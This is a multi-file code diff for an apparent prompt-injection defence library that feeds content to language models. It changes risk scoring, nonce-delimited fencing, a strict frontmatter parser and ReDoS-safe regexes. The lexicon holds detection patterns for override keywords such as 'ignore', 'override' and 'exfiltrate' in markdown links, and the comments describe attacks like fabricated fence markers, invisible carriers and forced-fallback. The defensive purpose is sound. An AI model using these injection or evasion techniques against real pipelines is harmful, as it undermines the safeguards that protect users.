return a if _RISK_RANK[a] >= _RISK_RANK[b] else b
|
||||
|
||||
|
||||
def _escalate(disposition: Disposition) -> Disposition:
|
||||
if disposition is Disposition.WARN:
|
||||
return Disposition.QUARANTINE_REVIEW
|
||||
return Disposition.FAIL_SECURE
|
||||
def _escalate(risk: Risk) -> Risk:
|
||||
"""Escalate one tier on the assessment axis.
|
||||
|
||||
``NONE`` is unreachable here — the only caller is the compound overlay,
|
||||
which needs two MEDIUM+ findings and so implies at least ``LOW`` — but it
|
||||
escalates rather than being a no-op, so the function is total.
|
||||
"""
|
||||
if risk is Risk.SEVERE:
|
||||
return Risk.SEVERE
|
||||
return Risk(next(
|
||||
r for r in Risk if _RISK_RANK[r] == _RISK_RANK[risk] + 1
|
||||
))
|
||||
|
||||
|
||||
def _action(risk: Risk, policy: Policy) -> Disposition:
|
||||
"""Map an assessed ``risk`` to an action under ``policy``.
|
||||
|
||||
An action map that omits a risk level falls back to the default rather than
|
||||
raising: a partial override is a likely way to use this, and a ``KeyError``
|
||||
from inside the gate would be turned into a fail-closed by :func:`guard`
|
||||
anyway — silently, and with a useless reason.
|
||||
"""
|
||||
if policy.action_map is not None and risk in policy.action_map:
|
||||
return policy.action_map[risk]
|
||||
return DEFAULT_ACTION_MAP[risk]
|
||||
|
||||
|
||||
def _carrier_label(report: Report) -> Optional[str]:
|
||||
|
|
@ -126,21 +203,24 @@ def decide(
|
|||
reasons: list[str] = []
|
||||
max_sev = report.max_severity()
|
||||
|
||||
def result(risk: Risk) -> DispositionResult:
|
||||
return DispositionResult(_action(risk, policy), tuple(reasons), max_sev, risk)
|
||||
|
||||
# Overlay A — compound forced-fallback (§4.6): a scan hit plus a failed
|
||||
# transform is a probable forced-fallback attack. Overrides everything.
|
||||
if transform_failed and report.found:
|
||||
reasons.append("compound-forced-fallback: transform failed with active findings")
|
||||
return DispositionResult(Disposition.FAIL_SECURE, tuple(reasons), max_sev)
|
||||
return result(Risk.SEVERE)
|
||||
|
||||
# Any-tier exceptions (§4.7): invisible carriers and CRITICAL findings block
|
||||
# regardless of trust or provenance.
|
||||
carrier = _carrier_label(report)
|
||||
if carrier is not None:
|
||||
reasons.append(f"any-tier: invisible carrier ({carrier})")
|
||||
return DispositionResult(Disposition.FAIL_SECURE, tuple(reasons), max_sev)
|
||||
return result(Risk.SEVERE)
|
||||
if max_sev is Severity.CRITICAL:
|
||||
reasons.append("any-tier: CRITICAL finding")
|
||||
return DispositionResult(Disposition.FAIL_SECURE, tuple(reasons), max_sev)
|
||||
return result(Risk.SEVERE)
|
||||
|
||||
# Effective low-trust: an untrusted source, or a low-trust region within an
|
||||
# otherwise-trusted document (a code fence or a localized string).
|
||||
|
|
@ -149,38 +229,47 @@ def decide(
|
|||
Provenance.LOCALIZED,
|
||||
)
|
||||
|
||||
disposition = _base_disposition(report, max_sev, low_trust, policy, reasons)
|
||||
risk = _base_risk(report, max_sev, low_trust, policy, reasons)
|
||||
|
||||
# Overlay B — compound escalation (§4.6): several weaker signals escalate one
|
||||
# tier even when each alone would only WARN.
|
||||
# tier even when each alone would only WARN. Escalating the *assessment*
|
||||
# rather than the action is what keeps the overlay from being silently lost
|
||||
# under a custom action map.
|
||||
if _is_compound(report):
|
||||
escalated = _escalate(disposition)
|
||||
if escalated is not disposition:
|
||||
escalated = _escalate(risk)
|
||||
if escalated is not risk:
|
||||
reasons.append("compound: >=2 findings at MEDIUM+ -> escalated one tier")
|
||||
disposition = escalated
|
||||
risk = escalated
|
||||
|
||||
return DispositionResult(disposition, tuple(reasons), max_sev)
|
||||
return result(risk)
|
||||
|
||||
|
||||
def _base_disposition(
|
||||
def _base_risk(
|
||||
report: Report,
|
||||
max_sev: Optional[Severity],
|
||||
low_trust: bool,
|
||||
policy: Policy,
|
||||
reasons: list[str],
|
||||
) -> Disposition:
|
||||
) -> Risk:
|
||||
"""Assess ``report`` before the overlays, on the risk axis.
|
||||
|
||||
The reason strings still name the *disposition* each branch yields, because
|
||||
they are an audit trail consumers already read; the axis separation must not
|
||||
silently reword it. They are rendered through :func:`_action` so a policy
|
||||
that remaps an action gets a trail that matches what it actually did.
|
||||
"""
|
||||
tier = "low" if low_trust else "high"
|
||||
if max_sev is None:
|
||||
disposition = Disposition.WARN
|
||||
risk = Risk.NONE
|
||||
reasons.append("clean: no findings")
|
||||
elif max_sev is Severity.HIGH:
|
||||
disposition = Disposition.FAIL_SECURE if low_trust else Disposition.WARN
|
||||
reasons.append(f"HIGH under {tier}-trust -> {disposition.value}")
|
||||
risk = Risk.SEVERE if low_trust else Risk.LOW
|
||||
reasons.append(f"HIGH under {tier}-trust -> {_action(risk, policy).value}")
|
||||
elif max_sev is Severity.MEDIUM:
|
||||
disposition = Disposition.QUARANTINE_REVIEW if low_trust else Disposition.WARN
|
||||
reasons.append(f"MEDIUM under {tier}-trust -> {disposition.value}")
|
||||
risk = Risk.ELEVATED if low_trust else Risk.LOW
|
||||
reasons.append(f"MEDIUM under {tier}-trust -> {_action(risk, policy).value}")
|
||||
else: # LOW or INFO
|
||||
disposition = Disposition.WARN
|
||||
risk = Risk.LOW
|
||||
reasons.append(f"{max_sev.value} -> WARN")
|
||||
|
||||
# quarantine_default floor: a finding at MEDIUM+ is held for review.
|
||||
|
|
@ -194,12 +283,12 @@ def _base_disposition(
|
|||
if policy.quarantine_default and max_sev is not None and (
|
||||
severity_rank(max_sev) >= severity_rank(Severity.MEDIUM)
|
||||
):
|
||||
floored = _more_severe(disposition, Disposition.QUARANTINE_REVIEW)
|
||||
if floored is not disposition:
|
||||
floored = _more_severe(risk, Risk.ELEVATED)
|
||||
if floored is not risk:
|
||||
reasons.append("quarantine-floor: MEDIUM+ finding -> QUARANTINE_REVIEW")
|
||||
disposition = floored
|
||||
risk = floored
|
||||
|
||||
return disposition
|
||||
return risk
|
||||
|
||||
|
||||
def guard(
|
||||
|
|
@ -221,10 +310,16 @@ def guard(
|
|||
report = scan_fn()
|
||||
return decide(report, policy, provenance=provenance, transform_failed=transform_failed)
|
||||
except Exception as exc: # noqa: BLE001 — fail closed on ANY scan/dispose error
|
||||
# Both axes are pinned to their most severe value, and deliberately NOT
|
||||
# routed through the policy's action map: an un-scannable artifact is
|
||||
# not a risk judgement a caller gets to remap. A policy that downgrades
|
||||
# SEVERE means "I accept this class of finding", never "I accept a
|
||||
# scanner that crashed on crafted input" (BRIEF §4.6, fail closed).
|
||||
return DispositionResult(
|
||||
Disposition.FAIL_SECURE,
|
||||
(f"fail-closed: scan/dispose error: {type(exc).__name__}",),
|
||||
None,
|
||||
Risk.SEVERE,
|
||||
)
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -24,6 +24,8 @@ import re
|
|||
import secrets
|
||||
from dataclasses import dataclass
|
||||
|
||||
from .calibration import MAX_INPUT_CHARS
|
||||
from .contract import assert_within_input_cap
|
||||
from .report import Finding, Report, Severity, Source
|
||||
|
||||
# Static delimiter skeleton. The per-call nonce is the security boundary; this
|
||||
|
|
@ -59,9 +61,21 @@ def _redact(s: str, show_start: int = 16, show_end: int = 5) -> str:
|
|||
return f"{s[:show_start]}...{s[-show_end:]}"
|
||||
|
||||
|
||||
def fence(text: str, source: Source = Source.INPUT) -> FenceResult:
|
||||
def fence(
|
||||
text: str,
|
||||
source: Source = Source.INPUT,
|
||||
max_input_chars: int = MAX_INPUT_CHARS,
|
||||
) -> FenceResult:
|
||||
"""Strip fabricated fence markers from ``text``, then wrap it in a
|
||||
randomized, unspoofable delimiter."""
|
||||
randomized, unspoofable delimiter.
|
||||
|
||||
Raises :class:`~llm_ingestion_guard.contract.OversizeInputError` above
|
||||
``max_input_chars``. Reached through :func:`prepare_input` the text is
|
||||
already bounded (``sanitize`` only ever removes), so the guard matters for
|
||||
direct callers — and there it is load-bearing: a fence whose *body* was
|
||||
truncated would present unstripped attacker markers as fenced data.
|
||||
"""
|
||||
assert_within_input_cap(text, surface="fence", max_input_chars=max_input_chars)
|
||||
report = Report()
|
||||
|
||||
# 1. Strip attacker fence markers FIRST — otherwise a lucky guess of the
|
||||
|
|
|
|||
|
|
@ -588,7 +588,7 @@
|
|||
},
|
||||
{
|
||||
"id": "markdown:link-ref-comment",
|
||||
"regex": "\\[//\\]:\\s*#\\s*\\(.*(?:ignore|override|system|instruction|execute)",
|
||||
"regex": "\\[//\\]:\\s*#\\s*\\([^(\\n]*(?:ignore|override|system|instruction|execute)",
|
||||
"flags": "i",
|
||||
"severity": "medium",
|
||||
"owasp": "LLM01",
|
||||
|
|
@ -604,7 +604,7 @@
|
|||
},
|
||||
{
|
||||
"id": "markdown:link-anchor-injection",
|
||||
"regex": "\\[[^\\]]*(?:system|ignore|override|exfiltrate|execute)[^\\]]*\\]\\([^)]+\\)",
|
||||
"regex": "\\[[^\\]\\[]*(?:system|ignore|override|exfiltrate|execute)[^\\]\\[]*\\]\\([^)(]+\\)",
|
||||
"flags": "i",
|
||||
"severity": "medium",
|
||||
"owasp": "LLM01",
|
||||
|
|
|
|||
|
|
@ -23,9 +23,25 @@ caller's — this module only reports.
|
|||
**Self-safety (OWASP LLM10).** A scanner that hangs on crafted input *is* the
|
||||
DoS. Two guards land here (the shared guard ``entropy`` deferred to this
|
||||
module): an input-size cap (:data:`MAX_SCAN_CHARS`; oversize input is scanned up
|
||||
to the cap and flagged) and ReDoS-safe patterns — the two sub-agent patterns
|
||||
whose seed form nested ``.*?`` are ported with *bounded* token-gap quantifiers
|
||||
(``(?:\\S+\\s+){0,N}?``), since Python's ``re`` has no timeout.
|
||||
to the cap and flagged) and ReDoS-safe patterns, since Python's ``re`` has no
|
||||
timeout. The pattern table needs *two* remedies, not one:
|
||||
|
||||
* **Bounded token gaps** — the two sub-agent patterns whose seed form nested
|
||||
``.*?`` are ported with ``(?:\\S+\\s+){0,N}?``.
|
||||
* **Anchor exclusion** — a run in front of a *required* literal is quadratic
|
||||
whenever it may cross the pattern's own opening anchor, with no nesting
|
||||
involved. Measured across all 83 patterns arm by arm, two markdown patterns
|
||||
had this defect; both now exclude the anchor character from the run. The
|
||||
exclusion is ``(`` rather than ``[`` in both cases: it telescopes just as
|
||||
well (the anchors contain ``(`` too) and costs no measured recall, whereas
|
||||
excluding ``[`` drops a link-ref comment carrying a nested bracket that no
|
||||
other pattern catches. Bounding the runs instead is the wrong fix here for
|
||||
the reason ``active_content`` documents — the content is attacker-controlled,
|
||||
so padding past a bound would be a one-line bypass.
|
||||
|
||||
The cap does not mitigate this on its own: it bounds the *input*, and quadratic
|
||||
work on a bounded input is still hours. See
|
||||
``tests/test_lexicon.py::test_crafted_redos_payload_stays_bounded_in_the_lexicon``.
|
||||
|
||||
The pattern table ships as JSON (``injection_lexicon.json``) — the single source
|
||||
of truth, decoupled from this engine for a future TS port. Non-Latin data in
|
||||
|
|
|
|||
|
|
@ -50,9 +50,11 @@ from .active_content import (
|
|||
MD_REFDEF_RE,
|
||||
URL_IN_TEXT_RE,
|
||||
defang_url,
|
||||
is_active_tag,
|
||||
is_defangable_tag,
|
||||
redact,
|
||||
)
|
||||
from .calibration import MAX_INPUT_CHARS
|
||||
from .contract import assert_within_input_cap
|
||||
from .report import Finding, Report, Severity, Source
|
||||
|
||||
|
||||
|
|
@ -64,13 +66,23 @@ class NeutralizeResult:
|
|||
report: Report
|
||||
|
||||
|
||||
def neutralize(text: str, source: Source = Source.OUTPUT) -> NeutralizeResult:
|
||||
def neutralize(
|
||||
text: str,
|
||||
source: Source = Source.OUTPUT,
|
||||
max_input_chars: int = MAX_INPUT_CHARS,
|
||||
) -> NeutralizeResult:
|
||||
"""Defang active-content constructs in ``text`` and report each class.
|
||||
|
||||
Rewrites markdown images/links, reference-link definitions, angle-bracket
|
||||
autolinks, raw active HTML, and ``data:`` URIs into inert forms. Text with no
|
||||
such construct is returned byte-identical with an empty report.
|
||||
|
||||
Raises :class:`~llm_ingestion_guard.contract.OversizeInputError` above
|
||||
``max_input_chars``. A partially defanged artifact is the worst outcome
|
||||
available here: it *looks* neutralized, and the live constructs are all in
|
||||
the tail nobody re-reads.
|
||||
"""
|
||||
assert_within_input_cap(text, surface="neutralize", max_input_chars=max_input_chars)
|
||||
report = Report()
|
||||
out = text
|
||||
|
||||
|
|
@ -134,7 +146,7 @@ def neutralize(text: str, source: Source = Source.OUTPUT) -> NeutralizeResult:
|
|||
|
||||
def _html(m: re.Match[str]) -> str:
|
||||
tag = m.group(0)
|
||||
if not is_active_tag(m.group("name"), m.group("attrs") or ""):
|
||||
if not is_defangable_tag(m.group("name"), m.group("attrs") or ""):
|
||||
return tag
|
||||
html_state["count"] += 1
|
||||
if not html_state["ev"]:
|
||||
|
|
|
|||
|
|
@ -7,7 +7,8 @@ and feeds scannable text regions into the existing ``sanitize`` / ``scan_output`
|
|||
|
||||
T2 — frontmatter parse-safety gate. ``parse_frontmatter`` is a *strict,
|
||||
reject-by-default* loader for the minimal OKF frontmatter subset: flat
|
||||
``key: value`` scalars plus block ``- item`` lists. Every construct the
|
||||
``key: value`` scalars, block ``- item`` lists, and one typed, allowlisted
|
||||
mapping form (``{ by: x, at: y }`` — see :func:`_parse_flow_mapping`). Every construct the
|
||||
"block anchor/alias DoS + dangerous type coercion" requirement names is refused
|
||||
*by construction* — you cannot suffer a billion-laughs alias expansion or a
|
||||
``!!python/object`` coercion if anchors, aliases and explicit tags are rejected
|
||||
|
|
@ -16,7 +17,9 @@ philosophy, the frontmatter analogue of the ``resource`` reject-gate (T3).
|
|||
|
||||
Deliberately NOT a general YAML parser. A security tool whose thesis is
|
||||
minimal-dependency should not pull in a full YAML engine whose own features
|
||||
(anchors, tags, merges) are the attack surface being defended against. Quoted
|
||||
(anchors, tags, merges) are the attack surface being defended against. The one
|
||||
mapping form it does admit is admitted key-by-key against an allowlist, not
|
||||
parsed generally: the mapping class is expressible, never trusted. Quoted
|
||||
scalars are kept verbatim (quotes included) rather than unquoted — the value is
|
||||
still scanned as text downstream, so an injection inside a quoted value is not
|
||||
lost; richer scalar forms are a future refinement, not a silent parse.
|
||||
|
|
@ -26,6 +29,7 @@ import re
|
|||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
|
||||
from .calibration import MAX_SCAN_CHARS
|
||||
from .output import scan_output
|
||||
from .report import Report, Source
|
||||
from .disposition import Trust, Disposition, Policy, decide
|
||||
|
|
@ -61,8 +65,31 @@ _KEY_RE = re.compile(r"^[A-Za-z0-9_][A-Za-z0-9_-]*$")
|
|||
# A plain OKF scalar cannot *begin* with a YAML structural indicator. Any value
|
||||
# starting with one signals an anchor (&), alias (*), explicit tag (!), block
|
||||
# scalar (|, >), flow collection ([ ] { }), directive (%) or reserved char
|
||||
# (@ `) — all outside the supported subset and all rejected.
|
||||
# (@ `) — all outside the supported subset and all rejected. `{` is tried as the
|
||||
# allowlisted mapping form FIRST (G3); it reaches this predicate only as a leaf
|
||||
# inside one, where a nested collection is refused before it can be read.
|
||||
_DANGEROUS_VALUE_STARTS = frozenset("&*!|>[]{}%@`")
|
||||
# A quoted scalar is a scalar in YAML however many colons it carries, so the
|
||||
# mapping check steps aside for one. The quotes are retained rather than
|
||||
# stripped — a pre-existing divergence, pinned in tests/test_okf.py.
|
||||
_QUOTE_STARTS = frozenset("\"'")
|
||||
|
||||
# G3 — the one mapping form T2 can express (operator decision, 2026-08-21).
|
||||
# Every key inside a mapping must be on this allowlist: the form is safe because
|
||||
# the allowlist inspects each key, not because mappings became trusted. The keys
|
||||
# are the ones OKF v0.2 names inside a mapping - `by`/`at` (SPEC.md @ 62432a09
|
||||
# §5.2 `generated`/`verified`), `from`/`to` (§5.1 `usage_window`) and the
|
||||
# `sources`-entry fields (§5.1). `resource` is the one §5.1 key deliberately
|
||||
# LEFT OFF: it is a pointer rather than a label, it is the only key T3 exists
|
||||
# for, and admitting it inside a mapping would re-open the door-C route closed
|
||||
# in 1.1.0 (`executor: {resource: skills/run.md}` puts an executable-code
|
||||
# pointer in a key the https allowlist never inspects). It costs nothing today,
|
||||
# because the conformant carrier for `sources[].resource` is the block-sequence
|
||||
# of block-mappings, which this form does not admit either way.
|
||||
_MAPPING_KEY_ALLOWLIST = frozenset({
|
||||
"by", "at", "from", "to", "id", "title", "author", "usage_count",
|
||||
"last_modified",
|
||||
})
|
||||
|
||||
|
||||
class OKFError(Exception):
|
||||
|
|
@ -101,7 +128,10 @@ def parse_frontmatter(document):
|
|||
|
||||
Raises ``OKFFrontmatterError`` on an unterminated fence or any construct
|
||||
outside the minimal flat subset (anchors, aliases, explicit tags, merge
|
||||
keys, block scalars, flow collections, nested mappings).
|
||||
keys, block scalars, flow sequences, nested mappings). The single exception
|
||||
is the typed, allowlisted flow mapping (:func:`_parse_flow_mapping`), which
|
||||
parses into a ``dict`` of allowlisted keys with plain-scalar leaves — every
|
||||
other route to a mapping still raises.
|
||||
"""
|
||||
lines = document.split("\n")
|
||||
if not lines or lines[0].strip() != _FENCE:
|
||||
|
|
@ -144,13 +174,29 @@ def _scannable_regions(frontmatter, body):
|
|||
"""The text regions of a concept that carry attacker-controlled content."""
|
||||
regions = [body]
|
||||
for value in frontmatter.values():
|
||||
if isinstance(value, list):
|
||||
regions.extend(value)
|
||||
elif value:
|
||||
regions.append(value)
|
||||
regions.extend(_value_regions(value))
|
||||
return regions
|
||||
|
||||
|
||||
def _value_regions(value):
|
||||
"""Every scannable leaf of one frontmatter value.
|
||||
|
||||
A mapping value (G3) is a new *shape* on this surface, not a new exemption:
|
||||
its leaves are scanned exactly like a scalar or a list item, so an injection
|
||||
parked in ``generated: { by: ... }`` reaches ``scan_output`` like any other
|
||||
frontmatter text. Mapping *keys* are not scanned because they cannot carry
|
||||
attacker text - the allowlist admits nine fixed names and nothing else.
|
||||
"""
|
||||
if isinstance(value, dict):
|
||||
return [leaf for leaf in value.values() if leaf]
|
||||
if isinstance(value, list):
|
||||
regions = []
|
||||
for item in value:
|
||||
regions.extend(_value_regions(item))
|
||||
return regions
|
||||
return [value] if value else []
|
||||
|
||||
|
||||
def validate_concept_path(path, *, allow_reserved=False):
|
||||
"""Validate a bundle-relative concept path and return its concept-ID.
|
||||
|
||||
|
|
@ -407,7 +453,14 @@ def _most_severe(dispositions):
|
|||
# consumer that owns the corpus decides where the durable graph state lives.
|
||||
# This in-import graph resolves links within a single bundle merge.
|
||||
|
||||
_MD_LINK_RE = re.compile(r"\[[^\]]*\]\(\s*([^)\s]+)")
|
||||
# ReDoS note (OWASP LLM10): the label run excludes `[`, the character that opens
|
||||
# this pattern's own anchor. Without it, a bundle body repeating `[` and never
|
||||
# closing it makes every start position rescan the tail — 7.1s at 100_000 chars,
|
||||
# exponent ~2.0, over attacker-supplied bodies this adapter reads with no input
|
||||
# cap. Same defect and same fix as `active_content.MD_LINK_RE`, including the
|
||||
# trade it names: a label containing a nested `[...]` is given up on, which costs
|
||||
# no exfil coverage because the inner link is matched on its own.
|
||||
_MD_LINK_RE = re.compile(r"\[[^\]\[]*\]\(\s*([^)\s]+)")
|
||||
# Active-content schemes are refused in a link, mirroring the resource gate (T3).
|
||||
_DANGEROUS_LINK_SCHEMES = frozenset({"javascript", "data", "vbscript", "file", "blob"})
|
||||
|
||||
|
|
@ -421,12 +474,15 @@ class LinkGraphResult:
|
|||
signal of §7.2 (a link planted to a not-yet-written concept). ``rejected`` —
|
||||
``(from_id, target, reason)`` for links refused outright (dangerous scheme or
|
||||
bundle escape). ``resolved`` — ``(from_id, target_concept_id)`` for links to
|
||||
concepts present in the bundle.
|
||||
concepts present in the bundle. ``truncated`` — ``(from_id, body_length)`` for
|
||||
bodies read only as far as the scan cap, so a caller can tell "no links past
|
||||
here" apart from "no links *read* past here" (OWASP LLM10).
|
||||
"""
|
||||
|
||||
dangling: tuple
|
||||
rejected: tuple
|
||||
resolved: tuple
|
||||
truncated: tuple = ()
|
||||
|
||||
|
||||
def extract_link_targets(body):
|
||||
|
|
@ -468,14 +524,20 @@ def resolve_link(target, from_concept_id):
|
|||
return normalized[: -len(".md")]
|
||||
|
||||
|
||||
def link_graph(bundle):
|
||||
def link_graph(bundle, max_scan_chars=MAX_SCAN_CHARS):
|
||||
"""Resolve every cross-link in ``bundle`` against the concepts it contains.
|
||||
|
||||
``bundle`` maps concept path to document text (as :func:`import_bundle`). Only
|
||||
the body is scanned for links. See :class:`LinkGraphResult` for the outcome.
|
||||
|
||||
Self-safety (OWASP LLM10): every body is attacker-supplied and each is walked
|
||||
by a `findall`, so each body is capped at ``max_scan_chars`` and recorded in
|
||||
``truncated``. It truncates rather than raising, the way the scanners do: the
|
||||
graph reports on documents, it does not hand them back, so a shortened scan
|
||||
costs edges — not the caller's content.
|
||||
"""
|
||||
present = {p[: -len(".md")] for p in bundle if p.endswith(".md")}
|
||||
dangling, rejected, resolved = [], [], []
|
||||
dangling, rejected, resolved, truncated = [], [], [], []
|
||||
|
||||
for path in sorted(bundle):
|
||||
if not path.endswith(".md"):
|
||||
|
|
@ -486,6 +548,10 @@ def link_graph(bundle):
|
|||
except OKFFrontmatterError:
|
||||
body = bundle[path] # unparseable frontmatter is T2's reject, not ours
|
||||
|
||||
if len(body) > max_scan_chars:
|
||||
truncated.append((from_id, len(body)))
|
||||
body = body[:max_scan_chars]
|
||||
|
||||
for target in extract_link_targets(body):
|
||||
try:
|
||||
concept_id = resolve_link(target, from_id)
|
||||
|
|
@ -499,7 +565,9 @@ def link_graph(bundle):
|
|||
else:
|
||||
dangling.append((from_id, concept_id))
|
||||
|
||||
return LinkGraphResult(tuple(dangling), tuple(rejected), tuple(resolved))
|
||||
return LinkGraphResult(
|
||||
tuple(dangling), tuple(rejected), tuple(resolved), tuple(truncated)
|
||||
)
|
||||
|
||||
|
||||
def _normalize_bundle_path(path):
|
||||
|
|
@ -552,7 +620,14 @@ def _parse_flat(fm_lines):
|
|||
result[key] = items if items is not None else ""
|
||||
continue
|
||||
|
||||
mapping = _parse_flow_mapping(value)
|
||||
if mapping is not None:
|
||||
result[key] = mapping
|
||||
i += 1
|
||||
continue
|
||||
|
||||
_reject_dangerous_value(value)
|
||||
_reject_mapping_construct(value)
|
||||
result[key] = value
|
||||
i += 1
|
||||
|
||||
|
|
@ -577,7 +652,13 @@ def _consume_block_list(fm_lines, start):
|
|||
continue
|
||||
if raw[:1] in (" ", "\t") and stripped.startswith("- "):
|
||||
item = stripped[2:].strip()
|
||||
mapping = _parse_flow_mapping(item)
|
||||
if mapping is not None:
|
||||
items.append(mapping)
|
||||
i += 1
|
||||
continue
|
||||
_reject_dangerous_value(item)
|
||||
_reject_mapping_construct(item)
|
||||
items.append(item)
|
||||
i += 1
|
||||
continue
|
||||
|
|
@ -593,3 +674,127 @@ def _reject_dangerous_value(value):
|
|||
"value begins with a disallowed YAML indicator %r: %r"
|
||||
% (value[0], value)
|
||||
)
|
||||
|
||||
|
||||
def _reject_mapping_construct(value):
|
||||
"""Reject a scalar that YAML reads as a mapping rather than as a string.
|
||||
|
||||
T2 gives the mapping *class* exactly one expressible form, the typed
|
||||
allowlisted flow mapping (G3); the nested-block and dotted-key routes still
|
||||
raise, and this predicate is what keeps them raising — both at the top level
|
||||
and on a leaf *inside* an admitted mapping. Two routes used to escape by degrading
|
||||
into a string instead: a block-sequence item carrying exactly one key
|
||||
(``- uri: x``), and an inline second colon (``attester: resource: x``).
|
||||
Both parsed "successfully" into the wrong *type*, and a pointer parked in
|
||||
one rode through in a key the ``resource`` allowlist never inspects.
|
||||
|
||||
``": "`` and a trailing ``":"`` are exactly the two shapes where a plain
|
||||
scalar stops being one — ground-truthed against PyYAML 6.0.3, which reads
|
||||
``- uri: x`` as ``[{'uri': 'x'}]``, ``- uri:`` as ``[{'uri': None}]``, and
|
||||
refuses ``k: sub: v`` outright. A colon carrying neither a space nor a line
|
||||
end opens no mapping (``domain:security``, ``https://e.com:8443/a``) and is
|
||||
left alone, as is a quoted scalar — over-blocking a conformant bundle is
|
||||
itself a failure mode.
|
||||
"""
|
||||
if not value or value[0] in _QUOTE_STARTS:
|
||||
return
|
||||
if ": " in value or value.endswith(":"):
|
||||
raise OKFFrontmatterError(
|
||||
"a mapping is not expressible in OKF frontmatter: %r" % (value,)
|
||||
)
|
||||
|
||||
|
||||
def _parse_flow_mapping(value):
|
||||
"""Parse ``{ key: value, ... }`` into a typed dict, or refuse it (G3).
|
||||
|
||||
Returns ``None`` when ``value`` does not open a flow mapping, so the caller
|
||||
falls through to the unchanged scalar rules. Otherwise the value either
|
||||
parses into a ``dict`` of allowlisted keys with plain-scalar leaves, or
|
||||
raises - it never degrades into a string, which is the defect closed in
|
||||
1.1.0 and not reopened here.
|
||||
|
||||
Why the mapping class needed *a* form at all: OKF v0.2 writes its whole
|
||||
trust and provenance layer as mappings, and SPEC.md @ ``62432a09`` uses flow
|
||||
form in its own examples (§5.1 ``usage_window``, §5.2 ``generated`` /
|
||||
``verified``). §11 goes further than "should": a consumer *MUST* treat a
|
||||
bare ``verified`` mapping as a one-element list - a rule that presupposes
|
||||
the mapping parses. With no form, 0 of 53 upstream concepts reached the
|
||||
gate, and no threshold would have changed that.
|
||||
|
||||
Why this form is safe: the allowlist inspects **every key**, which is the
|
||||
property that actually carried the security in T2 - the blanket refusal was
|
||||
the enforcement, not the point. Admitted, ground-truthed against PyYAML
|
||||
6.0.3:
|
||||
|
||||
- one flow mapping per value, closed on the same line (``{ a: b }``);
|
||||
- keys on :data:`_MAPPING_KEY_ALLOWLIST` and matching ``_KEY_RE``, no
|
||||
duplicates - PyYAML resolves a duplicate last-wins, which is a way to
|
||||
show one claim and mean another;
|
||||
- plain-scalar leaves only, each run through the *unchanged*
|
||||
``_reject_dangerous_value`` / ``_reject_mapping_construct`` predicates, so
|
||||
a leaf can no more open an anchor, a tag or a nested mapping than a
|
||||
top-level scalar can.
|
||||
|
||||
Refused, each on its own rule: nested collections (``{ a: { b: c } }``,
|
||||
``{ a: [1] }``), quoted leaves, an empty mapping, an unclosed or
|
||||
trailing-junk value (``{ a: b } x``, which PyYAML also refuses), a key
|
||||
outside the allowlist, and ``{a:b}`` - which PyYAML reads as the *key*
|
||||
``a:b``, not as a scalar, and which the required ``": "`` separator catches.
|
||||
|
||||
Two deliberate divergences from PyYAML, both toward refusal: a quoted leaf
|
||||
(``{ title: 'a, b' }``) and a trailing comment (``{ a: b } # note``) are
|
||||
conformant YAML that this rejects. Splitting quoted commas correctly needs a
|
||||
quote state machine whose failure mode is *accepting* something YAML would
|
||||
refuse; refusing is the cheaper side to be wrong on, and the keys that
|
||||
plausibly need a comma (``title``, ``author``) only occur inside ``sources``
|
||||
entries, whose block-sequence carrier is refused anyway.
|
||||
"""
|
||||
if not value or value[0] != "{":
|
||||
return None
|
||||
if not value.endswith("}"):
|
||||
raise OKFFrontmatterError(
|
||||
"a flow mapping must be closed by '}' on the same line: %r" % (value,)
|
||||
)
|
||||
|
||||
inner = value[1:-1].strip()
|
||||
if inner.endswith(","): # a trailing comma is legal YAML; one, and only one
|
||||
inner = inner[:-1].strip()
|
||||
if not inner:
|
||||
raise OKFFrontmatterError("an empty flow mapping carries nothing: %r" % (value,))
|
||||
for char in "{}[]":
|
||||
if char in inner:
|
||||
raise OKFFrontmatterError(
|
||||
"a flow mapping admits scalar leaves only, not %r: %r" % (char, value)
|
||||
)
|
||||
for quote in _QUOTE_STARTS:
|
||||
if quote in inner:
|
||||
raise OKFFrontmatterError(
|
||||
"a quoted scalar inside a flow mapping is not a supported form: %r"
|
||||
% (value,)
|
||||
)
|
||||
|
||||
mapping = {}
|
||||
for entry in inner.split(","):
|
||||
entry = entry.strip()
|
||||
key, sep, leaf = entry.partition(": ")
|
||||
if not sep:
|
||||
raise OKFFrontmatterError(
|
||||
"a flow-mapping entry must be 'key: value': %r" % (entry,)
|
||||
)
|
||||
key = key.strip()
|
||||
leaf = leaf.strip()
|
||||
if not _KEY_RE.match(key):
|
||||
raise OKFFrontmatterError("invalid flow-mapping key: %r" % (key,))
|
||||
if key not in _MAPPING_KEY_ALLOWLIST:
|
||||
raise OKFFrontmatterError(
|
||||
"flow-mapping key %r is not on the OKF mapping allowlist: %r"
|
||||
% (key, value)
|
||||
)
|
||||
if key in mapping:
|
||||
raise OKFFrontmatterError(
|
||||
"duplicate flow-mapping key %r: %r" % (key, value)
|
||||
)
|
||||
_reject_dangerous_value(leaf)
|
||||
_reject_mapping_construct(leaf)
|
||||
mapping[key] = leaf
|
||||
return mapping
|
||||
|
|
|
|||
|
|
@ -71,6 +71,7 @@ from .calibration import MAX_CONNSTR_VALUE
|
|||
from .entropy import scan_entropy
|
||||
from .lexicon import MAX_SCAN_CHARS, scan_lexicon
|
||||
from .report import Finding, Report, Severity, Source
|
||||
from .sanitize import _is_joiner_in_emoji_sequence
|
||||
|
||||
# --- secret / credential egress patterns (OWASP LLM02) ----------------------
|
||||
# Ported from knowledge/secrets-patterns.md. ``value_group`` names the capturing
|
||||
|
|
@ -253,7 +254,14 @@ _BIDI_CPS = frozenset({0x202A, 0x202B, 0x202C, 0x202D, 0x202E, 0x2066, 0x2067, 0
|
|||
def _scan_invisible_carriers(text: str, source: Source) -> Report:
|
||||
"""Flag invisible zero-width / BIDI carriers present in ``text`` (report-only)."""
|
||||
report = Report()
|
||||
zero_width = sum(1 for ch in text if ord(ch) in _ZERO_WIDTH_CPS)
|
||||
# The ZWJ exemption is imported from `sanitize`, never re-stated here: the
|
||||
# two surfaces are one decision, and a second copy of the rule is how the
|
||||
# input side stops flagging while the output side keeps hard-blocking.
|
||||
zero_width = sum(
|
||||
1 for i, ch in enumerate(text)
|
||||
if ord(ch) in _ZERO_WIDTH_CPS
|
||||
and not (ord(ch) == 0x200D and _is_joiner_in_emoji_sequence(text, i))
|
||||
)
|
||||
bidi = sum(1 for ch in text if ord(ch) in _BIDI_CPS)
|
||||
if zero_width:
